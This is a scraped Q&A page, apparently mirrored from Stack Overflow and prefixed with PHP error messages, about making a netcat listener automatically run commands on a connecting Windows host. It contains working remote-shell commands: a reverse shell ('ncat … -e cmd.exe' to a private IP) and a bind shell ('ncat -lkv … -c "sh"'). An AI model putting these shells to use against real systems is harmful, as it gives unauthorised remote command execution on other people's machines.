Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/linux/22.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Linux Ncat连接并立即在Windows上执行命令_Linux_Bash_Networking_Netcat_Penetration Testing - Fatal编程技术网

Linux Ncat连接并立即在Windows上执行命令

Linux Ncat连接并立即在Windows上执行命令,linux,bash,networking,netcat,penetration-testing,Linux,Bash,Networking,Netcat,Penetration Testing,我试图找到一种方法,从正在侦听的Linux机器上打开netcat连接,并立即在目标Windows机器上执行命令(例如dir或ipconfig) 类似于此: Linux计算机: nc -lvp 4444; dir ncat 192.168.1.25 4444 -e cmd.exe Windows计算机: nc -lvp 4444; dir ncat 192.168.1.25 4444 -e cmd.exe 我需要在与Windows计算机建立连接后立即运行命令 如果这可以通过bash脚本实现

我试图找到一种方法,从正在侦听的Linux机器上打开netcat连接,并立即在目标Windows机器上执行命令(例如dir或ipconfig)

类似于此:

Linux计算机:

nc -lvp 4444; dir
ncat 192.168.1.25 4444 -e cmd.exe
Windows计算机:

nc -lvp 4444; dir
ncat 192.168.1.25 4444 -e cmd.exe
我需要在与Windows计算机建立连接后立即运行命令

如果这可以通过bash脚本实现,那也太好了。我尝试编写脚本,但在放入Windows命令shell后,它不会注册任何命令


任何帮助或建议都将不胜感激!谢谢。

命令应该在
nc
的标准输入上,而不是在
nc
完成后运行的本地命令

printf "dir\n" | nc -lvp 444
另请参见

这可能会有所帮助

应该是:

##On the server. It opens the 
##listening machine's shell.
ncat -lkv <port number> -c "sh"

##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>
服务器上的。它打开了 ##窃听器的外壳。 ncat-lkv-c“sh” ##在客户机上。您可以在终端上键入命令 ##而窃听器将是你的目标。 ncat-v